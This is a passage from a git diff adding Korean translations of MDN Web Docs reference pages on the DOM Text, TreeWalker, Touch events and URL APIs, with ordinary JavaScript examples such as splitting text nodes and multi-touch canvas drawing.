노드를 지정한 오프셋에서 두 노드로 분리합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#text', 'Text')}}{{Spec2('DOM WHATWG')}}Removed the isElementContentWhitespace property.
+ Removed the replaceWholeText() method.
+ Added the Text() constructor.
+ Added the assignedSlot property.
{{SpecName('DOM3 Core', 'core.html#ID-1312295772', 'Text')}}{{Spec2('DOM3 Core')}}Added the isElementContentWhitespace and wholeText properties.
+ Added the replaceWholeText() method.
{{SpecName('DOM2 Core', 'core.html#ID-1312295772', 'Text')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-core.html#ID-1312295772', 'Text')}}{{Spec2('DOM1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Text")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/text/splittext/index.html b/files/ko/web/api/text/splittext/index.html new file mode 100644 index 0000000000..dd45f3b83d --- /dev/null +++ b/files/ko/web/api/text/splittext/index.html @@ -0,0 +1,95 @@ +--- +title: Text.splitText() +slug: Web/API/Text/splitText +tags: + - API + - DOM + - Text + - 메소드 +translation_of: Web/API/Text/splitText +--- +
{{apiref("DOM")}}
+ +

Text.splitText() 메소드는 {{domxref("Text")}} 노드를 지정된 오프셋에서 두 노드로 분리합니다. 두 노드는 sibling으로써 트리에 유지됩니다.

+ +

분리한 이후, 현재 노드는 지정된 오프셋 지점까지의 모든 컨텐츠를 포함하며, 새롭게 생성된 같은 타입의 노드는 남아있는 텍스트를 포함합니다. 새롭게 생성된 노드는 호출자에게 반환됩니다. 기존 노드가 부모를 갖고 있다면, 새 노드는 기존 노드의 다음 sibling으로 삽입됩니다. 기존 노드의 길이와 오프셋이 동일하다면, 새롭게 생성된 노드는 데이터를 갖지 않습니다.

+ +

분리된 텍스트 노드는 {{domxref("Node.normalize()")}} 메소드를 사용해 이어붙혀질 수 있습니다.

+ +

지정된 오프셋이 음수이거나 노드의 텍스트의 16 비트 단위의 수보다 크면 INDEX_SIZE_ERR 값을 갖는 {{domxref("DOMException")}} 을 throw됩니다. NO_MODIFICATION_ALLOWED_ERR 값을 갖는 {{domxref("DOMException")}} 은 노드가 읽기 전용일 때 throw됩니다.

+ +

문법

+ +
replacementNode = textnode.splitText(offset)
+
+ +

예제

+ +

이 예제에서 {{HTMLElement("p")}} 텍스트 노드는 두 텍스트 노드로 분리되며 그 사이에 {{HTMLElement("span")}} 이 삽입됩니다.

+ +
<body>
+  <p id="p">foobar</p>
+
+  <script type="text/javascript">
+    var p = document.getElementById('p');
+    var textnode = p.firstChild;
+
+    // foo 와 bar 사이를 분리
+    var replacementNode = textnode.splitText(3);
+
+    // ' span contents ' 를 포함하는 span을 생성
+    var span = document.createElement('span');
+    span.appendChild(document.createTextNode(' span contents '));
+
+    // 'bar' 앞에 span을 추가
+    p.insertBefore(span, replacementNode);
+
+    // 결과: <p id="p">foo<span> span contents </span>bar</p>
+  </script>
+</body>
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-text-splittext', 'Text.splitText')}}{{Spec2('DOM WHATWG')}}{{SpecName('DOM3 Core')}} 로부터 변경 사항 없음.
{{SpecName('DOM3 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}{{Spec2('DOM3 Core')}}{{SpecName('DOM2 Core')}} 로부터 변경 사항 없음.
{{SpecName('DOM2 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}{{Spec2('DOM2 Core')}}{{SpecName('DOM1')}} 로부터 변경 사항 없음.
{{SpecName('DOM1', 'level-one-core.html#ID-38853C1D', 'Text.splitText')}}{{Spec2('DOM1')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Text.splitText")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/text/text/index.html b/files/ko/web/api/text/text/index.html new file mode 100644 index 0000000000..e993de91c8 --- /dev/null +++ b/files/ko/web/api/text/text/index.html @@ -0,0 +1,55 @@ +--- +title: Text() +slug: Web/API/Text/Text +tags: + - API + - DOM + - Text + - 생성자 + - 실험중 +translation_of: Web/API/Text/Text +--- +

{{ Apiref("DOM")}}{{seeCompatTable}}

+ +

Text() 생성자는 옵션인 파라미터로 주어진 문자형 컨텐츠인 {{domxref("DOMString")}} 으로 새롭게 생성된 {{domxref("Text")}} 객체를 반환합니다.

+ +

문법

+ +
text1 = new Text(); // 빈 텍스트 노드 생성
+text2 = new Text("텍스트 노드입니다");
+
+ +

예제

+ +
text = new Text("Test");
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#text', 'Text.Text()')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Text.Text")}}

+ +

함께 보기

+ + + +

 

diff --git a/files/ko/web/api/touch_events/index.html b/files/ko/web/api/touch_events/index.html new file mode 100644 index 0000000000..7663877d7a --- /dev/null +++ b/files/ko/web/api/touch_events/index.html @@ -0,0 +1,399 @@ +--- +title: Touch events +slug: Web/API/Touch_events +translation_of: Web/API/Touch_events +--- +
{{DefaultAPISidebar("Touch Events(터치이벤트)")}}
+ +
일부분만 번역함.
+ +
 
+ +

 터치를 기반으로 한 양질의 서비스를 제공하기 위해, Touch Events(터치이벤트)는 터치로 인한 움직임을 감지할 능력을 제공합니다.

+ +

터치 이벤트 인터페이스는 상대적으로 low-lever API이며 multi-touch interaction등의 다양한 동작을 특정해 트리거 할 수 있습니다. multi-touch interaction은 한 손가락이 터치패드에 처음 닫는 순간 시작합니다. 이후 다른 손가락들이 터치패드에 닿고 선택적으로 터치패드를 가로지를 수도 있습니다. interaction은 손가락들이 터치패드에서 떨어지면 끝납니다. interaction동안에 어플리케이션은 touch start, move, end 이벤트들을 받습니다.

+ +

Touch events는 동시에 여러 손가락으로 동시에 혹은 여러 지점에 터치 할 수 있다는 것만 제외하면 마우스 이벤트와 유사합니다. 터치이벤트 인터페이스는 현재 액션과 터치 지점을 캡슐화 합니다. single touch로 대표되는 interface는 터치된 정보등을 포함합니다.

+ +

Definitions

+ +
+
Surface
+
터치 스크린, 터치 패드등을 포함합니다.
+
+ +
+
Touch point
+
손가락이나 터치 펜을 이용해 터치한 지점을 말합니다.
+
+ +

Interfaces

+ +
+
{{domxref("TouchEvent")}}
+
터치나 surface 위에서의 움직임들 입니다.
+
{{domxref("Touch")}}
+
touch surface위의 한 지점에 접촉할 때 발생합니다.
+
{{domxref("TouchList")}}
+
다중의 터치가 동시에 일어 났을 때 발생합니다.
+
+ +

Example

+ +

This example tracks multiple touch points at a time, allowing the user to draw in a {{HTMLElement("canvas")}} with more than one finger at a time. It will only work on a browser that supports touch events.

+ +
Note: The text below uses the term "finger" when describing the contact with the surface, but it could, of course, also be a stylus or other contact method.
+ +

Create a canvas

+ +
<canvas id="canvas" width="600" height="600" style="border:solid black 1px;">
+  Your browser does not support canvas element.
+</canvas>
+<br>
+<button onclick="startup()">Initialize</button>
+<br>
+Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
+
+ +

Setting up the event handlers

+ +

When the page loads, the startup() function shown below should be called by our {{HTMLElement("body")}} element's onload attribute (but in the example we use a button to trigger it, due to limitations of the MDN live example system).

+ +
function startup() {
+  var el = document.getElementsByTagName("canvas")[0];
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchmove", handleMove, false);
+  log("initialized.");
+}
+
+ +

This simply sets up all the event listeners for our {{HTMLElement("canvas")}} element so we can handle the touch events as they occur.

+ +

Tracking new touches

+ +

We'll keep track of the touches in-progress.

+ +
var ongoingTouches = [];
+
+ +

When a {{event("touchstart")}} event occurs, indicating that a new touch on the surface has occurred, the handleStart() function below is called.

+ +
function handleStart(evt) {
+  evt.preventDefault();
+  log("touchstart.");
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    log("touchstart:" + i + "...");
+    ongoingTouches.push(copyTouch(touches[i]));
+    var color = colorForTouch(touches[i]);
+    ctx.beginPath();
+    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);  // a circle at the start
+    ctx.fillStyle = color;
+    ctx.fill();
+    log("touchstart:" + i + ".");
+  }
+}
+
+ +

This calls {{domxref("event.preventDefault()")}} to keep the browser from continuing to process the touch event (this also prevents a mouse event from also being delivered). Then we get the context and pull the list of changed touch points out of the event's {{domxref("TouchEvent.changedTouches")}} property.

+ +

After that, we iterate over all the {{domxref("Touch")}} objects in the list, pushing them onto an array of active touch points and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly.

+ +

Drawing as the touches move

+ +

Each time one or more fingers moves, a {{event("touchmove")}} event is delivered, resulting in our handleMove() function being called. Its responsibility in this example is to update the cached touch information and to draw a line from the previous position to the current position of each touch.

+ +
function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx >= 0) {
+      log("continuing touch "+idx);
+      ctx.beginPath();
+      log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.lineWidth = 4;
+      ctx.strokeStyle = color;
+      ctx.stroke();
+
+      ongoingTouches.splice(idx, 1, copyTouch(touches[i]));  // swap in the new touch record
+      log(".");
+    } else {
+      log("can't figure out which touch to continue");
+    }
+  }
+}
+
+ +

This iterates over the changed touches as well, but it looks in our cached touch information array for the previous information about each touch in order to determine the starting point for each touch's new line segment to be drawn. This is done by looking at each touch's {{domxref("Touch.identifier")}} property. This property is a unique integer for each touch, and remains consistent for each event during the duration of each finger's contact with the surface.

+ +

This lets us get the coordinates of the previous position of each touch and use the appropriate context methods to draw a line segment joining the two positions together.

+ +

After drawing the line, we call Array.splice() to replace the previous information about the touch point with the current information in the ongoingTouches array.

+ +

Handling the end of a touch

+ +

When the user lifts a finger off the surface, a {{event("touchend")}} event is sent. We handle both of these the same way: by calling the handleEnd() function below. Its job is to draw the last line segment for each touch that ended and remove the touch point from the ongoing touch list.

+ +
function handleEnd(evt) {
+  evt.preventDefault();
+  log("touchend");
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx >= 0) {
+      ctx.lineWidth = 4;
+      ctx.fillStyle = color;
+      ctx.beginPath();
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);  // and a square at the end
+      ongoingTouches.splice(idx, 1);  // remove it; we're done
+    } else {
+      log("can't figure out which touch to end");
+    }
+  }
+}
+
+ +

This is very similar to the previous function; the only real differences are that we draw a small square to mark the end and that when we call Array.splice(), we simply remove the old entry from the ongoing touch list, without adding in the updated information. The result is that we stop tracking that touch point.

+ +

Handling canceled touches

+ +

If the user's finger wanders into browser UI, or the touch otherwise needs to be canceled, the {{event("touchcancel")}} event is sent, and we call the handleCancel() function below.

+ +
function handleCancel(evt) {
+  evt.preventDefault();
+  log("touchcancel.");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+    ongoingTouches.splice(idx, 1);  // remove it; we're done
+  }
+}
+
+ +

Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.

+ +

Convenience functions

+ +

This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.

+ +

Selecting a color for each touch

+ +

In order to make each touch's drawing look different, the colorForTouch() function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches.

+ +
function colorForTouch(touch) {
+  var r = touch.identifier % 16;
+  var g = Math.floor(touch.identifier / 3) % 16;
+  var b = Math.floor(touch.identifier / 7) % 16;
+  r = r.toString(16); // make it a hex digit
+  g = g.toString(16); // make it a hex digit
+  b = b.toString(16); // make it a hex digit
+  var color = "#" + r + g + b;
+  log("color for touch with identifier " + touch.identifier + " = " + color);
+  return color;
+}
+
+ +

The result from this function is a string that can be used when calling {{HTMLElement("canvas")}} functions to set drawing colors. For example, for a {{domxref("Touch.identifier")}} value of 10, the resulting string is "#aaa".

+ +

Copying a touch object

+ +

Some browsers (mobile Safari, for one) re-use touch objects between events, so it's best to copy the bits you care about, rather than referencing the entire object.

+ +
function copyTouch(touch) {
+  return { identifier: touch.identifier, pageX: touch.pageX, pageY: touch.pageY };
+}
+ +

Finding an ongoing touch

+ +

The ongoingTouchIndexById() function below scans through the ongoingTouches array to find the touch matching the given identifier, then returns that touch's index into the array.

+ +
function ongoingTouchIndexById(idToFind) {
+  for (var i = 0; i < ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // not found
+}
+
+ +

Showing what's going on

+ +
function log(msg) {
+  var p = document.getElementById('log');
+  p.innerHTML = msg + "\n" + p.innerHTML;
+}
+ +

If your browser supports it, you can {{LiveSampleLink('Example', 'see it live')}}.

+ +

jsFiddle example

+ +

Additional tips

+ +

This section provides additional tips on how to handle touch events in your web application.

+ +

Handling clicks

+ +

Since calling preventDefault() on a {{event("touchstart")}} or the first {{event("touchmove")}} event of a series prevents the corresponding mouse events from firing, it's common to call preventDefault() on {{event("touchmove")}} rather than {{event("touchstart")}}. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (This example is oversimplified and may result in strange behavior. It is only intended as a guide.)

+ +
function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0))
+    return;
+
+  var newEvt = document.createEvent("MouseEvents");
+  var type = null;
+  var touch = null;
+
+  switch (evt.type) {
+    case "touchstart":
+      type = "mousedown";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchmove":
+      type = "mousemove";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchend":
+      type = "mouseup";
+      touch = evt.changedTouches[0];
+      break;
+  }
+
+  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+  evt.originalTarget.dispatchEvent(newEvt);
+}
+
+ +

Calling preventDefault() only on a second touch

+ +

One technique for preventing things like pinchZoom on a page is to call preventDefault() on the second touch in a series. This behavior is not well defined in the touch events spec, and results in different behavior for different browsers (i.e., iOS will prevent zooming but still allow panning with both fingers; Android will allow zooming but not panning; Opera and Firefox currently prevent all panning and zooming.) Currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}{{Spec2('Touch Events 2')}}Added radiusX, radiusY, rotationAngle, force properties
{{SpecName('Touch Events', '#touch-interface', 'Touch')}}{{Spec2('Touch Events')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +

Note that unfortunately touch events may not fire at all on laptops with touch functionality (test page).

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("22.0")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("18.0")}}[1]
+ {{CompatGeckoDesktop("52.0")}}[2]
{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6.0")}}{{CompatVersionUnknown}}11{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] The dom.w3c_touch_events.enabled tri-state preference can be used to disable (0), enable (1), and auto-detect (2) support for standard touch events; by default, they're on auto-detect (2).

+ +

As of Gecko 24.0 {{geckoRelease("24.0")}}, the touch events support introduced with Gecko 18.0 {{geckoRelease("18.0")}} has been disabled on the desktop version of Firefox ({{bug(888304)}}), as some popular sites including Google and Twitter were not working properly. Once the bug is fixed, the API will be enabled again. To enable it anyway, open about:config and set the dom.w3c_touch_events.enabled preference to 2. The mobile versions including Firefox for Android and Firefox OS are not affected by this change.

+ +

[2] As of Gecko 52.0, touch events support has been fixed and reenabled in Windows desktop platforms.

+ +
+

Note: Prior to Gecko 6.0 {{geckoRelease("6.0")}}, Gecko offered a proprietary touch event API. That API is now deprecated; you should switch to this one.

+
+ +

Firefox, touch events, and multiprocess (e10s)

+ +

In Firefox, touch events are disabled when e10s (electrolysis; multiprocess Firefox) is disabled. e10s is on by default in Firefox, but can end up becoming disabled in certain situations, for example when certain accessibility tools or Firefox add-ons are installed that require e10s to be disabled to work. This means that even on a touchscreen-enabled desktop/laptop, touch events won't be enabled.

+ +

You can test whether e10s is disabled by going to about:support and looking at the "Multiprocess Windows" entry in the "Application Basics" section. 1/1 means it is enabled, 0/1 means disabled.

+ +

If you want to force e10s to be on — to explicitly reenable touch events support — you need to go to about:config and create a new boolean preference browser.tabs.remote.force-enable. Set it to true, restart the browser, and e10s will be enabled regardless of any other settings.

diff --git a/files/ko/web/api/treewalker/currentnode/index.html b/files/ko/web/api/treewalker/currentnode/index.html new file mode 100644 index 0000000000..1e68eabbb5 --- /dev/null +++ b/files/ko/web/api/treewalker/currentnode/index.html @@ -0,0 +1,63 @@ +--- +title: TreeWalker.currentNode +slug: Web/API/TreeWalker/currentNode +tags: + - API + - DOM + - Property + - Reference + - TreeWalker +translation_of: Web/API/TreeWalker/currentNode +--- +
{{ APIRef("DOM") }}
+ +

TreeWalker.currentNode 속성은 {{domxref("TreeWalker")}}가 현재 가리키고 있는 {{domxref("Node")}}를 나타낸다.

+ +

구문

+ +
node = treeWalker.currentNode;
+treeWalker.currentNode = node;
+
+ +

예제

+ +
var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+root = treeWalker.currentNode; // 첫번째 엘리먼트인 루트 엘리먼트!
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('DOM WHATWG', '#dom-treewalker-currentnode', 'TreeWalker.currrentNode')}}{{Spec2('DOM WHATWG')}}{{SpecName('DOM2 Traversal_Range')}}에서 바뀌지 않음
{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-currentNode', 'TreeWalker.currentNode')}}{{Spec2('DOM2 Traversal_Range')}}초기 정의.
+ +

브라우저 호환성

+ +

{{Compat("api.TreeWalker.currentNode")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/treewalker/index.html b/files/ko/web/api/treewalker/index.html new file mode 100644 index 0000000000..1f2a520efd --- /dev/null +++ b/files/ko/web/api/treewalker/index.html @@ -0,0 +1,168 @@ +--- +title: TreeWalker +slug: Web/API/TreeWalker +tags: + - API + - DOM + - Reference +translation_of: Web/API/TreeWalker +--- +
+

{{ APIRef("DOM") }}

+
+ +

TreeWalker 오브젝트는 도큐먼트 서브트리의 노드들과 그 안에서의 위치를 나타낸다.

+ +

TreeWalker 는 {{domxref("Document.createTreeWalker()")}} 메소드로 생성할 수 있다.

+ +

속성

+ +

이 인터페이스는 어떤 프라퍼티도 상속하지 않는다.

+ +
+
{{domxref("TreeWalker.root")}} {{readonlyInline}}
+
TreeWalker 를 생성할 때 지정한 루트 노드를 나타대는 {{domxref("Node")}}를 반환한다.
+
{{domxref("TreeWalker.whatToShow")}} {{readonlyInline}}
+
제공해야할 {{domxref("Node")}} 유형을 기술하는 unsigned long 비트마스크를 반환한다. 일치하지 않는 노드들은 건너뛰지만 관련된 경우 그 자식들을 포함할 수 있다. 가능한 값들은: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수숫자 값설명
NodeFilter.SHOW_ALL-1unsigned long의 최대 값)모든 노드를 보여준다.
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2속성 {{ domxref("Attr") }} 노드들을 보여준다. {{ domxref("Attr") }}노드가 루트인 {{ domxref("TreeWalker") }}를 생성할 때에만 의미가 있다. 이 경우, 그 속성 노드가 그 반복 또는 순회에 첫 위치로 나타남을 의미한다. 속성은 결코 다른 노드의 자식이 아니기 때문에 도큐먼트 트리를 순회할 때는 나타나지 않는다.
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8{{ domxref("CDATASection") }} 노드들을 보여준다.
NodeFilter.SHOW_COMMENT128{{ domxref("Comment") }} 노드들을 보여준다.
NodeFilter.SHOW_DOCUMENT256{{ domxref("Document") }} 노드들을 보여준다.
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024{{ domxref("DocumentFragment") }} 노드들을 보여준다.
NodeFilter.SHOW_DOCUMENT_TYPE512{{ domxref("DocumentType") }} 노드들을 보여준다.
NodeFilter.SHOW_ELEMENT1{{ domxref("Element") }} 노드들을 보여준다.
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32{{ domxref("Entity") }} 노드들을 보여준다. {{ domxref("Entity") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Entity") }} 노드가 그 순회의 첫 위치에 나타남을 의미한다. 엔티티들은 도큐먼트 트리의 일부가 아니기 때문에 도큐먼트 트리를 순회할 때 나타나지 않는다.
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16{{ domxref("EntityReference") }} 노드들을 보여준다.
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048{{ domxref("Notation") }} 노드들을 보여준다. {{ domxref("Notation") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Notation") }} 노드가 순회의 첫 위치에 나타남을 의미한다, 그들은 도큐먼트 트리를 순회할 때 나타나지 않는다.
NodeFilter.SHOW_PROCESSING_INSTRUCTION64{{ domxref("ProcessingInstruction") }} 노드들을 보여준다.
NodeFilter.SHOW_TEXT4{{ domxref("Text") }} 노드들을 보여준다.
+
+
{{domxref("TreeWalker.filter")}} {{readonlyInline}}
+
의미있는 노드들을 선택하기 위해 사용하는 {{domxref("NodeFilter")}}를 반환한다.
+
{{domxref("TreeWalker.expandEntityReferences")}} {{readonlyInline}}{{obsolete_inline}}
+
한 {{domxref("EntityReference")}}를 버릴 때 그 것의 전체 서브트리도 같이 버려야함을 표시하는 {{domxref("Boolean")}}이다.
+
{{domxref("TreeWalker.currentNode")}}
+
TreeWalker가 현재 가리키고 있는 {{domxref("Node")}}이다.
+
+ +

메서드

+ +

이 인터페이스는 아무 메서드도 상속하지 않는다.

+ +
+

TreeWalker는 보이는 DOM 노드만 고려한다는 것에주의하라.

+
+ +
+
{{domxref("TreeWalker.parentNode()")}}
+
현재 {{domxref("Node")}}를 도큐먼트 순서의 첫번째 보이는 조상으로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 루트 노드보다 앞이면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.firstChild()")}}
+
현재 {{domxref("Node")}}를 현재 노드의 첫번째 보이는 자식으로 이동하고 찾은 자식을 반환한다. 그런 자식이 없으면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.lastChild()")}}
+
현재 {{domxref("Node")}}를 현재 노드의 마지막 보이는 자식으로 이동하고 찾은 자식을 반환한다. 그런 자식이 없으면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.previousSibling()")}}
+
현재 {{domxref("Node")}}를 이전 형제로 이동하고 찾은 형제를 반환한다. 그런 노드가 없으면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.nextSibling()")}}
+
현재 {{domxref("Node")}}를 다음 형제로 이동하고 찾은 형제를 반환한다. 그런 노드가 없으면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.previousNode()")}}
+
현재 {{domxref("Node")}}를 도큐먼트 순서의 이전 보이는 노드로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 루트 노드보다 앞이면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
{{domxref("TreeWalker.nextNode()")}}
+
현재 {{domxref("Node")}}를 도큐먼트 순서의 다음 보이는 노드로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 루트 노드보다 앞이면 null을 반환하고 현재 노드는 바뀌지 않는다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-treewalker', 'TreeWalker')}}{{Spec2('DOM WHATWG')}}Removed the expandEntityReferences property.
{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker', 'TreeWalker')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.TreeWalker")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/createobjecturl/index.html b/files/ko/web/api/url/createobjecturl/index.html new file mode 100644 index 0000000000..cd38dcd8ea --- /dev/null +++ b/files/ko/web/api/url/createobjecturl/index.html @@ -0,0 +1,101 @@ +--- +title: URL.createObjectURL() +slug: Web/API/URL/createObjectURL +tags: + - API + - Method + - Reference + - URL + - URL API +translation_of: Web/API/URL/createObjectURL +--- +
{{APIRef("URL API")}}
+ +

URL.createObjectURL() 정적 메서드는 주어진 객체를 가리키는 URL을 {{domxref("DOMString")}}으로 반환합니다. 해당 URL은 자신을 생성한 창의 {{domxref("document")}}가 사라지면 함께 무효화됩니다.

+ +

객체 URL을 해제하려면 {{domxref("URL.revokeObjectURL", "revokeObjectURL()")}}을 호출하세요.

+ +

{{AvailableInWorkers}}

+ +
+

참고: 이 기능은 메모리 누수의 가능성으로 인해 Service Worker에서 사용할 수 없습니다.

+
+ +

구문

+ +
const objectURL = URL.createObjectURL(object)
+ +

매개변수

+ +
+
object
+
객체 URL을 생성할 {{domxref("File")}}, {{domxref("Blob")}}, {{domxref("MediaSource")}} 객체.
+
+ +

반환 값

+ +

지정한 object의 참조 URL을 담은 {{domxref("DOMString")}}

+ + + +

예제

+ +

객체 URL을 사용하여 이미지 표시하기를 보세요.

+ +

사용 일람

+ +

메모리 관리

+ +

같은 객체를 사용하더라도, createObjectURL()을 매번 호출할 때마다 새로운 객체 URL을 생성합니다. 각각의 URL을 더는 쓰지 않을 땐 {{domxref("URL.revokeObjectURL()")}}을 사용해 하나씩 해제해줘야 합니다.

+ +

브라우저는 불러온 문서를 해제할 때 객체 URL도 자동으로 해제합니다. 그러나 최적의 성능과 메모리 사용량을 위해서, 객체 URL을 해제해도 안전하다면 그렇게 해야 합니다.

+ +

미디어 스트림 객체 URL

+ +

구 Media Source 명세에서는 {{HTMLElement("video")}} 요소에 스트림을 부착하려면 {{domxref("MediaStream")}}의 객체 URL을 생성했어야 했습니다. 이제 이런 과정은 필수가 아니며, 브라우저도 지원을 중단하고 있습니다.

+ +
+

중요: 아직 미디어 요소에 {{domxref("URL.createObjectURL", "createObjectURL()")}}을 사용해 스트림을 부착하고 있다면, {{domxref("HTMLMediaElement.srcObject", "srcObject")}}에 MediaStream을 직접 설정하도록 코드를 수정해야 합니다.

+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#dfn-createObjectURL', 'createObjectURL()')}}{{Spec2('File API')}}Initial definition.
{{SpecName('Media Source Extensions', '#dom-url-createobjecturl', 'URL')}}{{Spec2('Media Source Extensions')}} +

MediaSource extension.

+ +

Older versions of this specification used createObjectURL() for {{domxref("MediaStream")}} objects; this is no longer supported.

+
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.createObjectURL")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/hash/index.html b/files/ko/web/api/url/hash/index.html new file mode 100644 index 0000000000..e14c99aabb --- /dev/null +++ b/files/ko/web/api/url/hash/index.html @@ -0,0 +1,62 @@ +--- +title: URL.hash +slug: Web/API/URL/hash +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/hash +--- +
{{ APIRef("URL API") }}
+ +

{{domxref("URL")}} 인터페이스의 hash 속성은 맨 앞의 '#'과 함께 URL의 프래그먼트 식별자를 담고 있는 {{domxref("USVString")}}입니다.

+ +

